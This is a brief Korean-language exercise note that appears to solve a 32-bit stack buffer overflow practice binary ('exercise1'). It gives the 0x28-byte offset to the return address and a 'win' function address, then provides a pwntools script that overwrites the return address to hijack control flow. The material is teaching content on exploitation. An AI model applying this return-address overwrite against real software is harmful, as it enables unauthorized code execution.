1

-0x24 ~ 0x04(ret) 거리 0x28 

win 주소 0x08048526

주소는 리틀엔디안 32bit으로 넣어주면 된다.

from pwn import *
r = process("./exercise1")
r.sendafter(" : ", "a"*0x28 + p32(0x08048526))
r.interactive()